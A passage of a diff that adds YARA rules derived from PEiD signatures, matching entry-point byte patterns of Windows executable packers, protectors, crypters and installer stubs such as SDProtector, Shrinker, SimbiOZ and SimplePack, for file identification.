+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 33 C0 64 FF 30 64 89 20 9C 80 4C 24 01 01 9D 90 90 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 64 8F 00 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 03 79 01 E8 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 7B 03 00 00 03 C8 74 C4 75 C2 E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E2}
+    condition:
+        $a
+}
+
+rule PEiD_02044_SDProtector_Pro_1_12_
+{
+    meta:
+        description = "[SDProtector Pro 1.12]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02045_SDProtector_Pro_Edition_1_16____Randy_Li__h__
+{
+    meta:
+        description = "[SDProtector Pro Edition 1.16 -> Randy Li (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 18 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 33 C0 64 FF 30 64 89 20 9C 80 4C 24 01 01 9D 90 90 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 64 8F 00 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 03 79 01 E8 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 93 03 00 00 03 C8 74 C4 75 C2 E8}
+    condition:
+        $a
+}
+
+rule PEiD_02046_SDProtector_Pro_Edition_1_16____Randy_Li_
+{
+    meta:
+        description = "[SDProtector Pro Edition 1.16 -> Randy Li]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 18 33 C0 89 41 04 89 41}
+    condition:
+        $a
+}
+
+rule PEiD_02047_SDProtector_V1_1X____Randy_Li___Sign_by_fly_
+{
+    meta:
+        description = "[SDProtector V1.1X -> Randy Li ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 88 88 88 08 64 A1}
+    condition:
+        $a
+}
+
+rule PEiD_02048_SEA_AXE_v2_2_
+{
+    meta:
+        description = "[SEA-AXE v2.2]"
+        ep_only = "true"
+    strings:
+        $a = {FC BC ?? ?? 0E 1F A3 ?? ?? E8 ?? ?? A1 ?? ?? 8B ?? ?? ?? 2B C3 8E C0 B1 03 D3 E3 8B CB BF ?? ?? 8B F7 F3 A5}
+    condition:
+        $a
+}
+
+rule PEiD_02049_SEA_AXE_
+{
+    meta:
+        description = "[SEA-AXE]"
+        ep_only = "true"
+    strings:
+        $a = {FC BC ?? ?? 0E 1F E8 ?? ?? 26 A1 ?? ?? 8B 1E ?? ?? 2B C3 8E C0 B1 ?? D3 E3}
+    condition:
+        $a
+}
+
+rule PEiD_02050_SecuPack_v1_5_
+{
+    meta:
+        description = "[SecuPack v1.5]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 CC 3A 40 ?? E8 E0 FC FF FF 33 C0 55 68 EA 3C 40 ?? 64 FF 30 64 89 20 6A ?? 68 80 ?? ?? ?? 6A 03 6A ?? 6A 01 ?? ?? ?? 80}
+    condition:
+        $a
+}
+
+rule PEiD_02051_SecureEXE_3_0____ZipWorx_
+{
+    meta:
+        description = "[SecureEXE 3.0 -> ZipWorx]"
+        ep_only = "true"
+    strings:
+        $a = {E9 B8 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02052_SecurePE_1_X____www_deepzone_org_
+{
+    meta:
+        description = "[SecurePE 1.X -> www.deepzone.org]"
+        ep_only = "true"
+    strings:
+        $a = {8B 04 24 E8 00 00 00 00 5D 81 ED 4C 2F 40 00 89 85 61 2F 40 00 8D 9D 65 2F 40 00 53 C3 00 00 00 00 8D B5 BA 2F 40 00 8B FE BB 65 2F 40 00 B9 C6 01 00 00 AD 2B C3 C1 C0 03 33 C3 AB 43 81 FB 8E 2F 40 00 75 05 BB 65 2F 40 00 E2 E7 89 AD 1A 31 40 00 89 AD 55 34 40 00 89 AD 68 34 40 00 8D 85 BA 2F 40 00 50 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02053_SecurePE_1_X_
+{
+    meta:
+        description = "[SecurePE 1.X]"
+        ep_only = "true"
+    strings:
+        $a = {8B 04 24 E8 00 00 00 00 5D 81 ED 4C 2F 40 00 89 85 61 2F 40 00 8D 9D 65 2F 40 00 53 C3 00 00 00 00 8D B5 BA 2F 40 00 8B FE BB 65 2F 40 00 B9 C6 01 00 00 AD 2B C3 C1 C0 03 33 C3 AB 43 81 FB 8E 2F 40 00 75 05 BB 65 2F 40 00 E2 E7 89 AD 1A 31 40 00 89 AD 55}
+    condition:
+        $a
+}
+rule PEiD_02054_SEN_Debug_Protector____
+{
+    meta:
+        description = "[SEN Debug Protector???]"
+        ep_only = "true"
+    strings:
+        $a = {BB ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 29 ?? ?? 4E E8}
+    condition:
+        $a
+}
+
+rule PEiD_02055_Sentinel_SuperPro__Automatic_Protection__6_4_0____Safenet_
+{
+    meta:
+        description = "[Sentinel SuperPro (Automatic Protection) 6.4.0 -> Safenet]"
+        ep_only = "false"
+    strings:
+        $a = {68 ?? ?? ?? ?? 6A 01 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C9 3D B7 00 00 00 A1 ?? ?? ?? ?? 0F 94 C1 85 C0 89 0D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 55 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 15}
+    condition:
+        $a
+}
+
+rule PEiD_02056_Sentinel_SuperPro__Automatic_Protection__6_4_1____Safenet_
+{
+    meta:
+        description = "[Sentinel SuperPro (Automatic Protection) 6.4.1 -> Safenet]"
+        ep_only = "false"
+    strings:
+        $a = {A1 ?? ?? ?? ?? 55 8B ?? ?? ?? 85 C0 74 ?? 85 ED 75 ?? A1 ?? ?? ?? ?? 50 55 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 55 51 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 15 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 6A 00 6A 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 01 00 00 00 5D C2 0C 00}
+    condition:
+        $a
+}
+
+rule PEiD_02057_Sentinel_SuperPro__Automatic_Protection__v6_4_0____Safenet_
+{
+    meta:
+        description = "[Sentinel SuperPro (Automatic Protection) v6.4.0 -> Safenet]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? 6A 01 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C9 3D B7 00 00 00 A1 ?? ?? ?? ?? 0F 94 C1 85 C0 89 0D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 55 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 05 ?? ?? ?? ?? 25 FE FF DF 3F 0D 01 00 20 00 A3 ?? ?? ?? ?? 33 C0 50 C7 04 85 ?? ?? ?? ?? 00 00 00 00 E8 ?? ?? ?? ?? 83 C4 04 83 F8 64 7C ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 A1 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 66 8B 55 00 83 C5 08}
+    condition:
+        $a
+}
+rule PEiD_02058_Sentinel_SuperPro__Automatic_Protection__v6_4_1____Safenet_
+{
+    meta:
+        description = "[Sentinel SuperPro (Automatic Protection) v6.4.1 -> Safenet]"
+        ep_only = "true"
+    strings:
+        $a = {A1 ?? ?? ?? ?? 55 8B ?? ?? ?? 85 C0 74 ?? 85 ED 75 ?? A1 ?? ?? ?? ?? 50 55 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 55 51 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 15 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 6A 00 6A 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 01 00 00 00 5D C2 0C 00 68 ?? ?? ?? ?? 6A 01 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C9 3D B7 00 00 00 A1 ?? ?? ?? ?? 0F 94 C1 85 C0 89 0D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15 ?? ?? ?? ?? 01 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 05 ?? ?? ?? ?? 25 FE FF DF 3F 0D 01 00 20 00 A3 ?? ?? ?? ?? 33 C0 50 C7 04 ?? ?? ?? ?? ?? 00 00 00 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_02059_Setup_Factory_6_0_0_3_Setup_Launcher_
+{
+    meta:
+        description = "[Setup Factory 6.0.0.3 Setup Launcher]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 90 61 40 00 68 70 3B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 14 61 40 00 33 D2 8A D4 89 15 5C 89 40 00 8B C8 81 E1 FF 00 00 00 89 0D 58 89 40 00 C1 E1 08 03 CA 89 0D 54 89 40 00 C1 E8 10 A3 50 89}
+    condition:
+        $a
+}
+
+rule PEiD_02060_Setup_Factory_6_x_Custom_
+{
+    meta:
+        description = "[Setup Factory 6.x Custom]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? 61 40 00 68 ?? 43 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 ?? 61 40 00 33 D2 8A D4 89 15 A0 A9 40 00 8B C8 81 E1 FF 00 00 00 89 0D}
+    condition:
+        $a
+}
+
+rule PEiD_02061_Setup_Factory_v6_0_0_3_Setup_Launcher_
+{
+    meta:
+        description = "[Setup Factory v6.0.0.3 Setup Launcher]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 90 61 40 00 68 70 3B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 14 61 40 00 33 D2 8A D4 89 15 5C 89 40 00 8B C8 81 E1 FF 00 00 00 89 0D 58 89 40 00 C1 E1 08 03 CA 89 0D 54 89 40 00 C1 E8 10 A3 50 89 40 00 33 F6 56 E8 E0 00 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 E6 0F 00 00 FF 15 10 61 40 00 A3 40 8E 40 00 E8 A4 0E 00 00 A3 90 89 40 00 E8 4D 0C 00 00 E8 8F 0B 00 00 E8 22 FE FF FF 89 75 D0 8D 45 A4 50 FF 15 0C 61 40 00 E8 20 0B 00 00 89 45 9C F6 45 D0 01 74 06 0F B7 45 D4 EB 03 6A 0A 58 50 FF 75 9C 56 56 FF 15 08 61 40 00 50 E8 5A E9 FF FF 89 45 A0 50 E8 10 FE FF FF 8B 45}
+    condition:
+        $a
+}
+
+rule PEiD_02062_Setup2Go_Installer_Stub_
+{
+    meta:
+        description = "[Setup2Go Installer Stub]"
+        ep_only = "false"
+    strings:
+        $a = {5B 53 45 54 55 50 5F 49 4E 46 4F 5D 0D 0A 56 65 72}
+    condition:
+        $a
+}
+rule PEiD_02063_Sexe_Crypter_1_1___by_santasdad_
+{
+    meta:
+        description = "[Sexe Crypter 1.1 - by santasdad]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 D8 39 00 10 E8 30 FA FF FF 33 C0 55 68 D4 3A 00 10 64 FF 30 64 89 ?? ?? ?? ?? E4 3A 00 10 A1 00 57 00 10 50 E8 CC FA FF FF 8B D8 53 A1 00 57 00 10 50 E8 FE FA FF FF 8B F8 53 A1 00 57 00 10 50 E8 C8 FA FF FF 8B D8 53 E8 C8 FA FF FF 8B F0 85 F6 74 26 8B D7 4A B8 14 57 00 10 E8 AD F6 FF FF B8 14 57 00 10 E8 9B F6 FF FF 8B CF 8B D6 E8 DA FA FF FF 53 E8 84 FA FF FF 8D 4D EC BA F8 3A 00 10 A1 14 57 00 10 E8 0A FB FF FF 8B 55 EC B8 14 57 00 10 E8 65 F5 FF FF B8 14 57 00 10 E8 63 F6 FF FF E8 52 FC FF FF 33 C0 5A 59 59 64 89 10 68 DB 3A 00 10 8D 45 EC E8 ED F4 FF FF C3 E9 83 EF FF FF EB F0 5F 5E 5B E8 ED F3 FF FF 00 53 45 54 54 49 4E 47 53 00 00 00 00 FF FF FF FF 12 00 00 00 6B 75 74 68 37 36 67 62 62 67 36 37 34 76 38 38 67 79}
+    condition:
+        $a
+}
+/*
+rule PEiD_02064_Sharp_GPB_Graphics_format_
+{
+    meta:
+        description = "[Sharp GPB Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {4D 00 00 00 00 ?? ?? ?? ?? 08 00 00 00 03 00 00}
+    condition:
+        $a
+}
+
+*/
+
+rule PEiD_02065_Shegerd_Dongle_V4_78____MS_Co__
+{
+    meta:
+        description = "[Shegerd Dongle V4.78 -> MS.Co.]"
+        ep_only = "true"
+    strings:
+        $a = {E8 32 00 00 00 B8 ?? ?? ?? ?? 8B 18 C1 CB 05 89 DA 36 8B 4C 24 0C}
+    condition:
+        $a
+}
+
+rule PEiD_02066_ShellModify_0_1____pll621_
+{
+    meta:
+        description = "[ShellModify 0.1 -> pll621]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 98 66 41 00 68 3C 3D 41 00 64 A1 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_02067_shoooo_s_Pack____shoooo_
+{
+    meta:
+        description = "[shoooo's Pack -> shoooo]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 11 55 07 8B EC B8 ?? ?? ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_02068_Shrink_v1_0_
+{
+    meta:
+        description = "[Shrink v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {50 9C FC BE ?? ?? BF ?? ?? 57 B9 ?? ?? F3 A4 8B ?? ?? ?? BE ?? ?? BF ?? ?? F3 A4 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02069_Shrink_v2_0_
+{
+    meta:
+        description = "[Shrink v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? 50 9C FC BE ?? ?? 8B FE 8C C8 05 ?? ?? 8E C0 06 57 B9}
+    condition:
+        $a
+}
+
+rule PEiD_02070_Shrink_Wrap_v1_4_
+{
+    meta:
+        description = "[Shrink Wrap v1.4]"
+        ep_only = "true"
+    strings:
+        $a = {58 60 8B E8 55 33 F6 68 48 01 ?? ?? E8 49 01 ?? ?? EB}
+    condition:
+        $a
+}
+
+rule PEiD_02071_Shrinker_3_2_
+{
+    meta:
+        description = "[Shrinker 3.2]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 56 57 75 65 68 00 01 00 00 E8 F1 E6 FF FF 83 C4 04}
+    condition:
+        $a
+}
+
+rule PEiD_02072_Shrinker_3_3_
+{
+    meta:
+        description = "[Shrinker 3.3]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 55 8B EC 56 57 75 65 68 00 01 00 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_02073_Shrinker_3_4_
+{
+    meta:
+        description = "[Shrinker 3.4]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 56 57 75 6B 68 00 01 00 00 E8 11 0B 00 00 83 C4 04}
+    condition:
+        $a
+}
+rule PEiD_02074_Shrinker_v3_2_
+{
+    meta:
+        description = "[Shrinker v3.2]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D ?? ?? ?? ?? ?? 55 8B EC 56 57 75 65 68 00 01 ?? ?? E8 ?? E6 FF FF 83 C4 04 8B 75 08 A3 ?? ?? ?? ?? 85 F6 74 1D 68 FF}
+    condition:
+        $a
+}
+
+rule PEiD_02075_Shrinker_v3_3_
+{
+    meta:
+        description = "[Shrinker v3.3]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D ?? ?? ?? 00 00 55 8B EC 56 57 75 65 68 00 01 00 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_02076_Shrinker_v3_4_
+{
+    meta:
+        description = "[Shrinker v3.4]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D B4 ?? ?? ?? ?? 55 8B EC 56 57 75 6B 68 00 01 00 00 E8 ?? 0B 00 00 83 C4 04 8B 75 08 A3 B4 ?? ?? ?? 85 F6 74 23 83 7D 0C 03 77 1D 68 FF}
+    condition:
+        $a
+}
+rule PEiD_02077_Shrinker_v3_4_
+{
+    meta:
+        description = "[Shrinker v3.4]"
+        ep_only = "true"
+    strings:
+        $a = {BB ?? ?? BA ?? ?? 81 C3 07 00 B8 40 B4 B1 04 D3 E8 03 C3 8C D9 49 8E C1 26 03 0E 03 00 2B}
+    condition:
+        $a
+}
+
+rule PEiD_02078_Silicon_Realms_Install_Stub_
+{
+    meta:
+        description = "[Silicon Realms Install Stub]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? 92 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 ?? ?? 40 00 33 D2 8A D4 89 15 ?? ?? 40 00 8B C8 81 E1 FF 00 00 00 89 0D ?? ?? 40 00 C1 E1 08 03 CA 89 0D ?? ?? 40 00 C1 E8 10 A3}
+    condition:
+        $a
+}
+
+rule PEiD_02079_Silicon_Realms_Install_Stub_
+{
+    meta:
+        description = "[Silicon Realms Install Stub]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? 92 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 ?? ?? 40 00 33 D2 8A D4 89 15 ?? ?? 40 00 8B C8 81 E1 FF 00 00 00 89 0D ?? ?? 40 00 C1 E1 08 03 CA 89 0D ?? ?? 40 00 C1 E8 10 A3 ?? ?? 40 00 33 F6 56 E8 ?? ?? 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 ?? ?? 00 00 FF 15 ?? 91 40 00 A3 ?? ?? 40 00 E8 ?? ?? 00 00 A3 ?? ?? 40 00 E8 ?? ?? 00 00 E8 ?? ?? 00 00 E8 ?? ?? FF FF 89 75 D0 8D 45 A4 50 FF 15 ?? 91 40 00 E8 ?? ?? 00 00 89 45 9C F6 45 D0 01 74 06 0F B7 45 D4 EB 03 6A 0A 58 50 FF 75 9C 56 56 FF 15 ?? 91 40 00 50 E8 ?? ?? FF FF 89 45 A0 50 E8 ?? ?? FF FF 8B 45 EC 8B 08 8B 09 89 4D 98 50 51 E8 ?? ?? 00 00 59 59 C3 8B 65 E8 FF 75 98 E8 ?? ?? FF FF 83 3D ?? ?? 40 00 01 75 05}
+    condition:
+        $a
+}
+
+rule PEiD_02080_SimbiOZ____Extranger_
+{
+    meta:
+        description = "[SimbiOZ -> Extranger]"
+        ep_only = "true"
+    strings:
+        $a = {50 60 E8 00 00 00 00 5D 81 ED 07 10 40 00 68 80 0B 00 00 8D 85 1F 10 40 00 50 E8 84 0B 00 00}
+    condition:
+        $a
+}
+rule PEiD_02081_SimbiOZ_1_3____Extranger_
+{
+    meta:
+        description = "[SimbiOZ 1.3 -> Extranger]"
+        ep_only = "true"
+    strings:
+        $a = {57 57 8D 7C 24 04 50 B8 00 ?? ?? ?? AB 58 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_02082_SimbiOZ_Poly_2_1____Extranger_
+{
+    meta:
+        description = "[SimbiOZ Poly 2.1 -> Extranger]"
+        ep_only = "true"
+    strings:
+        $a = {55 50 8B C4 83 C0 04 C7 00 ?? ?? ?? ?? 58 C3 90}
+    condition:
+        $a
+}
+rule PEiD_02083_SimbiOZ_PolyCryptor_v_xx___Extranger_
+{
+    meta:
+        description = "[SimbiOZ PolyCryptor v.xx-> Extranger]"
+        ep_only = "true"
+    strings:
+        $a = {55 60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8}
+    condition:
+        $a
+}
+
+rule PEiD_02084_Simple_UPX_Cryptor_V30_4_2005____MANtiCORE_
+{
+    meta:
+        description = "[Simple UPX Cryptor V30.4.2005 -> MANtiCORE]"
+        ep_only = "true"
+    strings:
+        $a = {60 B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? ?? ?? ?? ?? E2 FA 61 68 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+rule PEiD_02085_Simple_UPX_Cryptor_v30_4_2005__multi_layer_encryption_
+{
+    meta:
+        description = "[Simple UPX Cryptor v30.4.2005 [multi layer encryption]"
+        ep_only = "true"
+    strings:
+        $a = {60 B8 ?? ?? ?? 00 B9 18 00 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? 00 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02086_Simple_UPX_Cryptor_v30_4_2005__multi_layer_encryption_
+{
+    meta:
+        description = "[Simple UPX Cryptor v30.4.2005 [multi layer encryption]"
+        ep_only = "true"
+    strings:
+        $a = {60 B8 ?? ?? ?? ?? B9 18 00 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+rule PEiD_02087_Simple_UPX_Cryptor_v30_4_2005__One_layer_encryption_
+{
+    meta:
+        description = "[Simple UPX Cryptor v30.4.2005 [One layer encryption]"
+        ep_only = "true"
+    strings:
+        $a = {60 B8 ?? ?? ?? 00 B9 ?? 01 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? 00 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02088_SimplePack_1_11_Method_1____bagie_TMX_
+{
+    meta:
+        description = "[SimplePack 1.11 Method 1 -> bagie[TMX]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5B 8D 5B FA BD 00 00 ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0 74 55 0F B7 47 22 09 C0 74 4D 6A 04 68 00 10 00 00 FF 77 10 6A 00 FF 93 38 03 00 00 50 56 57 89 EE 03 77 0C 8B 4F 10 89 C7 89 C8 C1 E9 02 FC F3 A5 89 C1 83 E1 03 F3 A4 5F 5E 8B 04 24 89 EA 03 57 0C E8 3F 01 00 00 58 68 00 40 00 00 FF 77 10 50 FF 93 3C 03 00 00 83 C7 28 4E 75 9E BE ?? ?? ?? ?? 09 F6 0F 84 0C 01 00 00 01 EE 8B 4E 0C 09 C9 0F 84 FF 00 00 00 01 E9 89 CF 57 FF 93 30 03 00 00 09 C0 75 3D 6A 04 68 00 10 00 00 68 00 10 00 00 6A 00 FF 93 38 03 00 00 89 C6 8D 83 6F 02 00 00 57 50 56 FF 93 44 03 00 00 6A 10 6A 00 56 6A 00 FF 93 48 03 00 00 89 E5}
+    condition:
+        $a
+}
+rule PEiD_02089_SimplePack_1_11_Method_1____bagie_TMX__
+{
+    meta:
+        description = "[SimplePack 1.11 Method 1 -> bagie[TMX]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5B 8D 5B FA BD 00 00 ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0 74 55 0F B7 47 22 09 C0 74 4D 6A 04 68 00 10 00 00 FF 77 10 6A 00 FF 93 38 03 00 00 50 56 57 89 EE 03 77 0C 8B 4F 10 89 C7 89 C8 C1 E9 02 FC}
+    condition:
+        $a
+}
+
+rule PEiD_02090_SimplePack_1_11_Method_2_NT_____bagie_TMX__
+{
+    meta:
+        description = "[SimplePack 1.11 Method 2(NT) -> bagie[TMX]]"
+        ep_only = "true"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01}
+    condition:
+        $a
+}
+
+rule PEiD_02091_SimplePack_1_2_build_30_09__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack 1.2.build.30.09 (Method2) -> bagie]"
+        ep_only = "false"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 86 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_02092_SimplePack_1_21_build_09_09__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack 1.21.build.09.09 (Method2) -> bagie]"
+        ep_only = "false"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 8A 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02093_SimplePack_1_X__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack 1.X (Method2) -> bagie]"
+        ep_only = "false"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 ?? 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_02094_SimplePack_V1_0X____bagie___Sign_by_fly_
+{
+    meta:
+        description = "[SimplePack V1.0X -> bagie ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5B 8D 5B FA 6A 00 FF 93 ?? ?? 00 00 89 C5 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 8B 86 88 00 00 00 09 C0}
+    condition:
+        $a
+}
+
+rule PEiD_02095_SimplePack_V1_1X__Method1_____bagie___Sign_by_fly_
+{
+    meta:
+        description = "[SimplePack V1.1X (Method1) -> bagie ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5B 8D 5B FA BD ?? ?? ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0}
+    condition:
+        $a
+}
+rule PEiD_02096_SimplePack_V1_1X__Method2_____bagie___Sign_by_fly_
+{
+    meta:
+        description = "[SimplePack V1.1X (Method2) -> bagie ! Sign by fly]"
+        ep_only = "false"
+    strings:
